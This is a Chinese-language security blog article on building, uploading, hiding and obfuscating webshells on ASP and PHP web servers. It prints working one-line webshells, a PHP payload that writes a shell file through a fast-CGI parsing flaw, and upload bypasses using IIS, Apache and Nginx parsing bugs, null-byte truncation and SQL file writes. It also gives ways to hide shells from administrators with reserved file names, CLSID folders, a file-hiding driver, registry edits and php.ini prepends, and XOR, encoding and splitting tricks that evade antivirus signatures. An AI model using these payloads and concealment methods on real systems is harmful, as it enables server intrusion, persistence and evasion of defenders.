安云网 - AnYun.ORG | 专注于网络信息收集、网络数据分享、网络安全研究、网络各种猎奇八卦。
当前位置: 安云网 > 技术关注 > WEB安全 > Webshell实现与隐藏探究

Webshell实现与隐藏探究

时间:2016-12-26来源:http://www.cnblogs.com/Fly-Win 作者:安云网点击:
一、什么是webshell webshell简介 webshell,顾名思义:web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,webshell就是就是web的一个管理 工具,可以对web服务器进行操作的权限,也叫webadmin。webshell一般是被网站管理员用于网

一、什么是webshell

  1. webshell简介 //copyright AnYun.ORG

webshell,顾名思义:web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,webshell就是就是web的一个管理 工具,可以对web服务器进行操作的权限,也叫webadmin。webshell一般是被网站管理员用于网站管理、服务器管理等等一些用途,但是由于 webshell的功能比较强大,可以上传下载文件,查看数据库,甚至可以调用一些服务器上系统的相关命令(比如创建用户,修改删除文件之类的),通常被 黑客利用,黑客通过一些上传方式,将自己编写的webshell上传到web服务器的页面的目录下,然后通过页面访问的形式进行入侵,或者通过插入一句话 连接本地的一些相关工具直接对服务器进行入侵操作。

//安云网咨询系统

  1. webshell的分类 //ANYUN.ORG

webshell根据脚本可以分为PHP脚本木马,ASP脚本木马,也有基于.NET的脚本木马和JSP脚本木马。在国外,还有用python脚本语言写的动态网页,当然也有与之相关的webshell。

//ANYUN.ORG

根据功能也分为大马与小马,小马通常指的一句话木马,例如:<%eval request(“pass”)%>通常把这句话写入一个文档里面,然后文件名改成xx.asp。然后传到服务器上面。这里eval方法将 request(“pass”)转换成代码执行,request函数的作用是应用外部文件。这相当于一句话木马的客户端配置。服务器配置(即本机配置):

//ANYUN.ORG

Default

//内容来自安云网

1 //内容来自AnYun.ORG

2 //安云网,anyun.org

3

//安云网咨询系统

4

//安云网,anyun.org

5

//安云网,anyun.org

6 //本文来自安云网

7 //本文来自安云网

8

//ANYUN.ORG

9

//安云网,anyun.org

10 //copyright AnYun.ORG

11 //本文来自安云网

12

//安云网,anyun.org

13 //安云网咨询系统

14

//ANYUN.ORG

15 //本文来自安云网

16

//copyright AnYun.ORG

17

//安云网咨询系统

18 //copyright AnYun.ORG

<form action=http://主机路径/TEXT.asp method=post> //copyright AnYun.ORG

<textarea name=value cols=120 rows=10 width=45>  

//安云网咨询系统

set lP=server.createObject("Adodb.Stream")//建立流对象 //ANYUN.ORG

lP.Open //打开 //安云网,anyun.org

lP.Type=2 //以文本方式

//内容来自安云网

lP.CharSet="gb2312" //字体标准

//copyright AnYun.ORG

lP.writetext request("newvalue")   //本文来自安云网

lP.SaveToFile server.mappath("newmm.asp"),2 //将木马内容以覆盖文件的方式写入newmm.asp,2就是已覆 盖的方式

//ANYUN.ORG

lP.Close //关闭对象

//安云网咨询系统

set lP=nothing //释放对象

//ANYUN.ORG

response.redirect "newmm.asp" //转向newmm.asp   //内容来自安云网

</textarea> //本文来自安云网

<textarea name=newvalue cols=120 rows=10 width=45>(添入生成木马的内容)

//安云网咨询系统

</textarea>

//安云网,anyun.org

<BR>

//安云网,anyun.org

<center> //copyright AnYun.ORG

<br>

//内容来自AnYun.ORG

<input type=submit value=提交> //本文来自安云网

这里通过提交表单的方式,将木马提交上去,具体的做法是将定义一个对象IP,然后以文本方式写入newvalue里 面的内容(newvalue的内容在textarea定义),写入以覆盖的方式产生ASP文件,然后执行这个脚本。其中客户端中的value代表的是表单 的名字,必须跟服务端(本机)的post提交中的表单名一样,所以这里的value可以为任意字符,相当于一个密码之类的东西,但是这个‘密码’是明文 的,可以截取下来。PHP的一句话原理跟以上的原理差不多,就是语言的差别导致语法不同。这就是小马的基本工作原理。

//copyright AnYun.ORG

大马的工作模式简单的多,他没有客户端与服务端的区别,就是一些脚本大牛直接把一句话木马的服务端整合到了一起,通过上传漏洞将大马上传,然后复制 该大马的url地址直接访问,在页面上执行对web服务器的渗透工作。但是有些网站对上传文件做了严格的限制,因为大马的功能较多,所以体积相对较大,很 有可能超出了网站上传限制,但是小马的体积可以控制(比如把代码复制很多遍,或者在一个乱码文件中夹入代码),但是小马操作起来比较繁琐,可以先上传小马 拿到webshell,然后通过小马的连接上传大马拿到服务器。 //内容来自安云网

二、如何上传webshell

1.解析漏洞上传

现在对于不同的web服务器系统对应的有不同的web服务端程序,windows端主流的有iis,linux端主流的有nginx。这些服务对搭建web服务器提供了很大的帮助,同样也对服务器带来隐患,这些服务器上都存在一些漏洞,很容易被黑客利用。

//安云网咨询系统

(1)iis目录解析漏洞

比如:/xx.asp/xx.jpg //copyright AnYun.ORG

虽然上传的是JPG文件,但是如果该文件在xx.asp文件夹下,那个iis会把这个图片文件当成xx.asp解析,这个漏洞存在于iis5.x/6.0版本。 //本文来自安云网

(2)文件解析漏洞

比如:xx.asp;.jpg。在网页上传的时候识别的是jpg文件,但是上传之后iis不会解析;之后的字符,同样会把该文件解析成asp文件,这个漏洞存在于iis5.x/6.0版本。 //copyright AnYun.ORG

(3)文件名解析

比如:xx.cer/xx.cdx/xx.asa。在iis6.0下,cer文件,cdx文件,asa文件都会被当成可执行文件,里面的asp代码也同样会执行。(其中asa文件是asp特有的配置文件,cer为证书文件)。 //安云网,anyun.org

(4)fast-CGI解析漏洞

在web服务器开启fast-CGI的时候,上传图片xx.jpg。内容为: //本文来自安云网

Default //安云网,anyun.org

1

//copyright AnYun.ORG

<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[shell])?>');?>

//本文来自安云网

这里使用的fput创建一个shell.php文件,并写入一句话。访问路径xx.jpg/.php,就会在该路径下生成一个一句话木马 shell.php。这个漏洞在IIS 7.0/7.5,Nginx 8.03以下版本存在。语言环境:PHP,prel,Bourne Shell,C等语言。 //安云网,anyun.org

*注:fast-CGI是CGI的升级版,CGI指的是在服务器上提供人机交互的接口,fast-CGI是一种常驻 型的CGI。因为CGI每次执行时候,都需要用fork启用一个进程,但是fast-CGI属于激活后就一直执行,不需要每次请求都fork一个进程。比 普通的CGI占的内存少。 //copyright AnYun.ORG

(5)apache解析漏洞

apache解析的方式是从右向左解析,如果不能解析成功,就会想左移动一个,但是后台上传通常是看上传文件的最右 的一个后缀,所以根据这个,可以将马命名为xx.php.rar,因为apache解析不了rar,所以将其解析为php,但是后台上传点就将其解析为 rar,这样就绕过了上传文件后缀限制

//安云网咨询系统

2.截断上传

在上传图片的时候,比如命名1.asp .jpg(asp后面有个空格),在上传的时候,用NC或者burpsuite抓到表单,将上传名asp后面加上%00(在burpsuite里面可以直接编辑HEX值,空格的HEX值为20,将20改为00),如果HEX为00的时候表示截断,20表示空格,如果表示截断的时候就为无视脚本中的JPG验证语句,直接上传ASP。 //安云网咨询系统

3.后台数据库备份

在一些企业的后台管理系统中,里面有一项功能是备份数据库(比如南方cms里面就有备份数据库的功能)。可以上传一 张图片,图片里面含有一句话木马,或者将大马改成jpg格式,然后用数据库备份功能,将这张图片备份为asp等其他内容可以被解析为脚本语句的格式,然后 再通过web访问就可以执行木马了,但是这种方法很老了,现在大多数的cms已经把这种备份的功能取消了,或者禁用了。

//安云网,anyun.org

4.利用数据库语句上传

(1) mysql数据库into outfile

这种方式的前提必须是该网站有相应的注入点,而且当前用户必须要有上传的权限,而且必须有当前网页在服务器下的绝对路径。方法是用联合查询,将一句话木马导入到网站下边的一个php文件中去,然后使用服务端连接该网站。但是上述方法条件过于苛刻,一般遇到的情况很少。 //copyright AnYun.ORG

(2)建立新表写入木马

一些开源cms或者自制的webshell会有数据库管理功能,在数据库管理功能里面有sql查询功能,先使用 create table shell(codetext);创建一个名字叫做shell的表,表里面有列明叫做code,类型为text。然后使用insert into shell(code) values(‘一句话马’),这里讲shell表中的code列赋值为一句话的马,然后通过自定义备份,将该表备份为x.php;x然后就被解析成为 php然后执行了,这里不是x.php;x就一定能够解析为php,不同的web服务器上面的服务程序不同,然后过滤规则也不同,可能会使用其他的方式。

//ANYUN.ORG

(3)phpMyadmin设置错误

phpMyadmin用来管理网站数据库的一个工具,其中config.inc.php为其配置文件,在查看的该文 件的时候,如果$cfg[‘Servers’][$i][‘auth_type’]参数的值设置没有设置(默认为config)说明在登陆数据库的时候没 有做相应的验证,可以直接连入数据库,而且在Mysql在一些版本下面默认登陆都是以root用户进行登陆(即管理员),所以登陆进去为最大权限。但是 root一般只能本地登陆,所以必须创建一个远程登陆用户。用远程登陆用户登陆之后,创建一个表,然后再将一句话木马写入。 //安云网咨询系统

三、webshell的“安全”

1.关于webshell的隐藏

在上传webshell的时候必须要进行webshell的隐藏工作。隐藏webshell,第一个目的是不让网站管理员发现马将其删掉,第二个目的是为了不被其他的Hacker发现了这个文件并加以利用。 //内容来自AnYun.ORG

(1)大马的隐藏

①不死僵尸

windows系统存在系统保留文件夹名,windows不允许用这些名字来命名文件夹保留文件 夹:aux|prn|con|nul|com1|com2|com3|com4|com5|com6|com7|com8|com9|lpt1|lpt2|lpt3|lpt4|lpt5|lpt6|lpt7|lpt8|lpt。 但是这些可以使用windows的copy命令创建,比如: //本文来自安云网

Default

//copyright AnYun.ORG

1 //安云网咨询系统

c:\>copy 3.asp \\.\C:\aux.asp //安云网咨询系统

file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image020.png

//安云网咨询系统

file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image022.jpg //本文来自安云网

在c盘中创建一个aux.asp。这个文件无法在图像界面下删除。

//安云网,anyun.org

file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image023.png

//内容来自安云网

要删除必须使用del命令。

//安云网咨询系统

file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image024.png //本文来自安云网

删除了之后是没有提示的,但是文件确实没有了。

//内容来自AnYun.ORG

当然用这样的方法虽然可以创建一个图形界面无法删除的webshell,但是如果直接放在网页根目录下,被有经验的网管看到还是回删除的。 //安云网,anyun.org

②clsid隐藏

windows每一个程序都有一个clsid,如果将一个文件夹命名为x.{程序clsid},然后输入一下两条命令:

//安云网,anyun.org

file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image026.jpg //本文来自安云网

创建后 //内容来自安云网

file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image027.png //本文来自安云网

点开进入的是控制面板,但是其实该文件还是文件夹,里面还存在大马,而且创建一个这样一个带有clsid的文件夹将其命名为相应的程序可以迷惑网络 管理员的实现,比如进入回收站文件夹中创建这样一个带有回收站clsid的文件夹,在里面里面再copy一个保留字asp,还可以使用 //copyright AnYun.ORG

Default //安云网咨询系统

1

//copyright AnYun.ORG

attrib +h +s +r +d/s /d //本文来自安云网

修改该文件的属性,将其隐藏,一般windows都是默认不显示隐藏文件的,而且回收站文件夹是自动创建的,这样可以达到隐藏一个不死webshell到服务器中去。 //copyright AnYun.ORG

③驱动隐藏技术

原理是在于,在windows文件系统中,打开文件夹的时候系统会发送一个 IRP_MJ_DIRECTORY_CONTROL函数,这个函数可以分配一个缓冲区,将该文件夹下的子文件夹遍历处理得到的信息存放至缓冲区,在遍历的 时候,寻找匹配的文件名,如果文件名匹配,就绕过当前文件夹或者文件,对于绕过的原理,我查询了下代码,根据我的理解,它是根据将遍历的指针在查询到目标 文件的时候,加上该文件的偏移量,不扫描目标文件夹,直接跳过。 //copyright AnYun.ORG

对于这种技术的实施,虽然网上很多C的源码,但是操作起来有一定的困难,因为头文件的支持,还有系统的支持(不同系统的文件系统会不同),在网上查找到了Easy File Locker程序,需要将其安装至web服务器上,对目标文件设置权限。 //ANYUN.ORG

Default

//内容来自AnYun.ORG

1

//安云网咨询系统

file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image028.png

//copyright AnYun.ORG


权限的设置有可读accessable,可写writable,可删deletable,可见visible。

//ANYUN.ORG

Default

//内容来自AnYun.ORG

1

//ANYUN.ORG

file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image030.jpg

//内容来自AnYun.ORG


上图可以看到我们将其隐藏了,如前文所说,因为直接绕过了遍历,那么访问绝对路径却可以访问。我的理解是: //copyright AnYun.ORG

Default //ANYUN.ORG

1 //内容来自AnYun.ORG

2

//安云网咨询系统

3

//内容来自AnYun.ORG

4 //内容来自安云网

c:\WINDOWS\xlkfs.dat

//内容来自安云网

c:\WINDOWS\xlkfs.dll

//本文来自安云网

c:\WINDOWS\xlkfs.ini //ANYUN.ORG

c:\WINDOWS\system32\drivers\xlkfs.sys

//内容来自安云网


这4个文件代替了遍历查询,要访问隐藏后的文件,输入绝对路径并不是应用绝对路径查询,而是通过上面4个文件进行的查询,相当于给隐藏文件做了一个单独的驱动。

//ANYUN.ORG

为了不被管理员发现,可以将Easy FileLocker的程序删除,但是不能删除上述4个文件。删除程序后,输入绝对路径还是可以访问,就达到了隐藏后门的作用 //copyright AnYun.ORG

④注册表隐藏

注册表路径:

//安云网咨询系统

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL //内容来自AnYun.ORG

在这个路径下有一个CheckedValue的键值,把他修改为0,如果没有CheckValue这个key直接创建一个,将他赋值为0,然后创建的隐藏文件就彻底隐藏了,即时在文件夹选项下把“显示所有文件”也不能显示了。 //内容来自安云网

(2)一句话木马的隐藏

①头文件包含隐藏

在web里面的一些脚本文件中,有些文件里面有包含语句,可以利用这种包含方法包含一句话文件,在访问这个页面会直接调用这些一句话。

//copyright AnYun.ORG

asp包含语句:<!–#includefile=”文件路径”–>,直接填入路径,文件路径是web服务器上的路径。 //ANYUN.ORG

可以使用站长住手将一句话的NTFS流小马写入图片里面,将路径的‘\’改‘:’写入之后图片是显示不了的,然后找 到web服务器上的一个asp文件,在文件的开始部分写上include语句,<!–#includefile=”inc:1.jpg”–& gt;。文件包含可以解析NTFS流为asp,包含之后,我们访问那个asp文件就包含了一句话,这样就隐藏了一句话。

//ANYUN.ORG

php包含语句:

//copyright AnYun.ORG

Default //本文来自安云网

1 //本文来自安云网

<?php include($include);?>

//内容来自安云网

这里的$include可以是外部路径比如: //内容来自AnYun.ORG

http://www.aaa.com/1.php?Include=http://www.bbb.com/hehe.php

//安云网,anyun.org

这个aaa上的1.php内容为

//ANYUN.ORG

Default //copyright AnYun.ORG

1

//本文来自安云网

<?php include($include);?> //copyright AnYun.ORG

,表示包含。bbb是外部服务器的,前提是这个服务器不能支持PHP。否则将会在bbb这个服务器上执行hehe.php(即一句话马),而aaa不执行。 //内容来自AnYun.ORG

②配置文件隐藏一句话(PHP)

在拿到PHP的webshell之后,可以利用php.ini隐藏文件,编辑配置文件,其中一个项功能是将某一个文件的内容添加到任意界面的页眉页脚: //内容来自AnYun.ORG

auto_prepend_file =hehe.php //安云网咨询系统

然后看

//本文来自安云网

include_path = “E:\PHPnow-1.5.6\htdocs;” //安云网,anyun.org

这个配置信息表示加载页眉页脚的文集位置,path规则是”\path1;\path2″,表示将path1路径的 文件夹下的页眉页脚文件添加到path中的文件中去,因为这里是一个‘.’表示根路径,这里就相当于添加到了主页上面去了,然后hehe.asp文件里面 写上一句话,就可以通过php添加页眉的共能,将一句话写入网站首页。

//内容来自安云网

③404小马

404小马在访问的时候显示出来一个404页面不存在的页面,但是实际上木马代码已经执行,一般都是按5次shift可以将它调用出来。 //内容来自安云网

四、关于webshell的免杀一句话免杀

1.构造法绕过检测(PHP)

一般的检测程序会过滤这样”_POST”,”system”,”call_user_func_array”这样的 字符,这个时候可以用构造法绕过一些检测程序,基本原理是,php每一个字符都都对应了一个二进制的值,可以采用异或的方式,让马中的一个字符用两个字符 异或后的值来代替。

//安云网咨询系统

比如像一下代码

//内容来自安云网

Default

//内容来自安云网

1

//本文来自安云网

2 //安云网咨询系统

3

//内容来自AnYun.ORG

4

//内容来自AnYun.ORG

5

//内容来自AnYun.ORG

6

//内容来自AnYun.ORG

7 //内容来自AnYun.ORG

8 //安云网,anyun.org

<?php

//copyright AnYun.ORG

@$_++;                             // 这里++让’_’自加1

//本文来自安云网

$__=("#"^"|");                 // _

//安云网咨询系统

$__=("."^"~");                          // P

//内容来自安云网

$__=("/"^"`");                  // O

//安云网咨询系统

$__=("|"^"/");                 // S

//内容来自AnYun.ORG

$__=("{"^"/");                          // T //安云网咨询系统

?> //本文来自安云网

然后构造与一句话可以写为 //copyright AnYun.ORG

Default

//安云网咨询系统

1

//本文来自安云网

2 //安云网,anyun.org

3

//安云网,anyun.org

<?php @$_++; //内容来自AnYun.ORG

$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");         // $__的值为_POST

//安云网,anyun.org

@${$__}[!$_](${$__}[$_]);?>

//ANYUN.ORG

 // 结果为

//安云网咨询系统

@$_POST[0]($POST[1]) //安云网咨询系统

!$_表示1的相反,在语言里面1代表真,反过来就是0(假)

//本文来自安云网

但是这样的绕过方法相当弱,仔细想一下,就算是两个字符的二进制值异或,但是我们要用某个字符,还是应用那个字符的值,比如

//本文来自安云网

Default

//安云网,anyun.org

1

//安云网,anyun.org

$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/")

//内容来自AnYun.ORG

的二进制值与_POST字符的值一样的,要是检测程序会检测二进制码的值,还是会被杀掉。

//内容来自安云网

2.正则表达式代替法(PHP)

php中有一个函数preg_replace()函数,这个函数可以实现正则表达式的替换工作。用替换绕过检测系统还需要php脚本语言里面的一个函数特性,函数在调用的时候,如果函数里面的形参赋的值里面含有命令,就会执行这个命令。 //copyright AnYun.ORG

Default //安云网咨询系统

1 //ANYUN.ORG

2

//本文来自安云网

3

//copyright AnYun.ORG

4 //内容来自安云网

<?php

//安云网,anyun.org

function funfunc($str){} //安云网,anyun.org

echopreg_replace("/<title>(.+?)<\/title>/ies",'funfunc("\1")', $_POST["cmd"]); //内容来自安云网

?>

//安云网咨询系统

上述代码就是替代的一个过程,首先创建一个空函数,然后使用preg_replace函数替换表单cmd中的<title></title>(这里是html里面表示主题)为funfunc,将post表单中的值写成 //安云网咨询系统

<title>{${phpinfo()}}</title>

//安云网,anyun.org

(当然这里的phpinfo()可以换成其他的命令),通过置换,就会变成 //安云网咨询系统

funfunc({${phpinfo()}})

//安云网,anyun.org

由于${}可以解析{}中的内容,所以这里的phpinfo就可以顺利执行了。 //内容来自AnYun.ORG

3.即时生成法(PHP)

在使用头文件包含的时候,所包含头文件php很容易被扫描器扫描到,这时候可以使用file_put_content创建一个文件,里面写如php的一句话马。在访问之前先生成马,但是这个函数比较敏感,很容易被杀。 //copyright AnYun.ORG

4.回避法(asp)

因为有的asp服务器为了防止一句话马,会过滤<%,%>,可以使用:

//内容来自安云网

Default //内容来自安云网

1 //ANYUN.ORG

<scriptlanguage=VBScriptrunat=server>execute request("cmd")</Script> //安云网咨询系统

功能相同,就是换个形式。

//安云网,anyun.org

回避特定脚本语言:aspx一句话 //本文来自安云网

Default

//copyright AnYun.ORG

1

//本文来自安云网

<script language="C#" runat="server">WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");</script>

//内容来自AnYun.ORG

这里使用C#语言写一句话马。

//安云网,anyun.org

5.拆分法(asp)

将<%eval request(“x”)%>拆分为<%Y=request(“x”)%><%eval(Y)%>,虽然绕过的可能性很小,但是也是一种绕过手法,也许有的服务器,做了很多高大上的扫描方式,但是遗漏小的问题。 //内容来自安云网

还有拆分法加强版: //copyright AnYun.ORG

Default //安云网咨询系统

1 //copyright AnYun.ORG

2 //本文来自安云网

<%IfRequest("MH")<>"" Then Execute(Request("MH"))%> //安云网,anyun.org

<%if request("MH")<>""thensession("MH")=request("MH"):end if:ifsession("MH")<>"" then executesession("MH")%>

//ANYUN.ORG

以上两句使用了if一句将其分开,中心思想将敏感字符拆分,因为一般asp特征码为eval(request或者execute(request,拆分了之后检测不到特征码,就直接绕过了。 //安云网,anyun.org

6.乱码变形(ANSI->Unicode加密)

Default

//内容来自安云网

1 //本文来自安云网

<%eval request("#")%>变形为“┼攠數畣整爠煥敵瑳∨∣┩愾” //内容来自AnYun.ORG

Default //安云网,anyun.org

1

//内容来自AnYun.ORG

eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("brute"))%&gt; //安云网,anyun.org

上面一行代码是采用了ascii加密的方法,chr(114)代表的是ascii中的编号为114个那个字符,即r。上述代码转换后的代码为

//内容来自安云网

Default

//安云网,anyun.org

1 //copyright AnYun.ORG

<%eval (eval(request("brute"))%>

//ANYUN.ORG

7.大马免杀

(1)base4code编码

大马的免杀可以通过将大马的代码进行压缩,压缩之后在进行base4的加密算法,然后在大马的末尾添加 //copyright AnYun.ORG

Default

//ANYUN.ORG

1 //安云网,anyun.org

@eval(gzinflate(base64_decode($code)));

//copyright AnYun.ORG

  //安云网咨询系统

就可以执行脚本了。其中,$code变量是用来存放base4的code码,执行的时候先gzinflate解压,在eval执行。其实这种不能真正意义上的免杀,以为base4code和eval还是回被列入特征码行列,在过扫描器的时候同样会被杀掉。

//内容来自安云网

(2)ROT13编码(php)

str_rot13是php用来编码的一个函数。可以利用它来编码脚本代码来绕过特征码的检测,比如。 //本文来自安云网

file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image031.png //ANYUN.ORG

图中的strrev函数是用来反转字符,为了逃过特征码的检测,还特地将字符用’.’号隔开。

//安云网,anyun.org

图中3个str_rot13所加密的字符依次是 gzinflate,str_rot13,base64_decode,相当于三重加密,而且也回避了gzinflate,base64_decode这 两个特征码。但是没有回避str_rot13。有可能有的杀软会将str_rot13也作为特征码。

//copyright AnYun.ORG

ROT13成为回转13,就是讲当前字符在字母表中的位置值减去13对应的字符加密。加密两次就回到原来的值了。但是由于算法固定,加密的强度也不强。而且破解的方式极为简单,只要再加密一边就可以了。 //安云网,anyun.org

(3)其他编码

一般杀软和扫描器都会用特征码来判断是否有病毒,在对大马或者小马,一句话马做免杀处理的时候,一般都会用php或 者asp脚本中加密类的函数来加密绕过扫描器(比如base4,rot13等),但是我觉得可以自己编写加密算法,然后使用自己编写的加密算法加密脚本代 码就可以绕过一些特征码的。可以使用一些凯撒密码,移位加密等加密手段的思想,写一段加密算法,然后将脚本代码进行加密,然后base4,rot3这样的 特征码就会消失,或者可以不那么麻烦,直接用自制的加密算法加密特征码,然后再使用的时候将其解密就行了。 //copyright AnYun.ORG

还可以使用DES,RSA这样的密钥加密算法也可以,一般的大马都会有一个密码的登陆框,可以讲登陆脚本的密码跟解密密钥联动起来,输入正确的密码后才能够解析,一方面是为了逃过扫描器与杀软的查杀,另一方便,这个大马即使被别人拿到了,也无法解密,看到其中的源码。

//内容来自安云网

五、关于webshell的后门

一般网上下载的大马或多或少的都会有后门,这些后门直接导致了我们拿的网站被别人顺带拿走了,所以在网上下载的大马必须先检查有没有后门。 //内容来自AnYun.ORG

比如这里的万能密码:

//安云网咨询系统

Default //内容来自AnYun.ORG

1 //内容来自AnYun.ORG

2 //安云网,anyun.org

3 //安云网,anyun.org

4

//安云网咨询系统

5 //ANYUN.ORG

6

//内容来自AnYun.ORG

7

//ANYUN.ORG

end function

//安云网,anyun.org

if session("hehe")<>userpassthen

//安云网,anyun.org

ifrequest.form("pass")<>"" then //本文来自安云网

if request.form("pass")=userpassor request.form("pass")="1111111" Then

//本文来自安云网

session("hehe")=userpasss //安云网咨询系统

response.redirect url //安云网咨询系统

else //copyright AnYun.ORG

这里

//ANYUN.ORG

Default

//本文来自安云网

1 //本文来自安云网

request.form("pass")=userpass

//内容来自AnYun.ORG

原本是为了将pass的值进行验证,如果输入的pass值等于userpass的情况,就代表验证成功,但是后面

//内容来自安云网

Default

//本文来自安云网

1 //安云网,anyun.org

orrequest.from(“pass”)=”1111111” //本文来自安云网


表示如果输入的pass值为1111111,也可以登录大马。当然,这个地方不可能会这么简单,原作者完全可以把userpass赋值成为两个,添加一个 userpass改变的触发条件,在他登录的时候触发这个条件(比如说如果登录失败的时候将触发userpass值的更新),这样就可以添加一个后面,而 且触发条件的代码与验证代码分隔的较远,也不好查找,这个时候就需要我们把大马的代码逐行分析。 //安云网咨询系统

然后再用框架挂马:

//本文来自安云网

Default //安云网咨询系统

1

//内容来自安云网

<iframe src=后门地址 width=0 height=0></iframe> //内容来自AnYun.ORG

这个地方将链接的地址宽度和高度全设置为0,就该页面就隐藏了。里面的“后门地址”指向自己的脚本收信器,最后将收信脚本放到自己搭建的一个公网服务器上面,收信脚本如下: //copyright AnYun.ORG

Default //安云网,anyun.org

1

//安云网咨询系统

2

//ANYUN.ORG

3 //内容来自AnYun.ORG

4

//内容来自安云网

5

//内容来自AnYun.ORG

6 //安云网,anyun.org

7

//内容来自安云网

8 //copyright AnYun.ORG

<%url=Request.ServerVariables("HTTP_Referer")

//内容来自安云网

  set fs=server.CreateObject("Scripting.FileSystemObject")

//安云网咨询系统

  set file=fs.OpenTextFile(server.MapPath("hehe.txt"),8,True)

//安云网,anyun.org

  file.writeline url

//内容来自AnYun.ORG

  file.close //内容来自AnYun.ORG

  set file=nothing //内容来自AnYun.ORG

  set fs=nothing //ANYUN.ORG

%>

//ANYUN.ORG

  //内容来自AnYun.ORG

其中

//内容来自AnYun.ORG

Default //内容来自安云网

1 //ANYUN.ORG

url=Request.ServerVariables("HTTP_Referer")

//安云网咨询系统

表示请求的字符转内容,即大马的url地址,然后把url地址保存到当前目录的hehe.txt。 //安云网,anyun.org

要提出这种后门首先必须先要破坏大马第二种密码验证,即万能密码。删除相关的功能代码,然后再查找有没有asp大马页面有没有例如width=0 height=0这样的隐藏url,查找出来将其删除。 //内容来自安云网


//安云网,anyun.org

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
验证码: 点击我更换图片
相关内容
推荐内容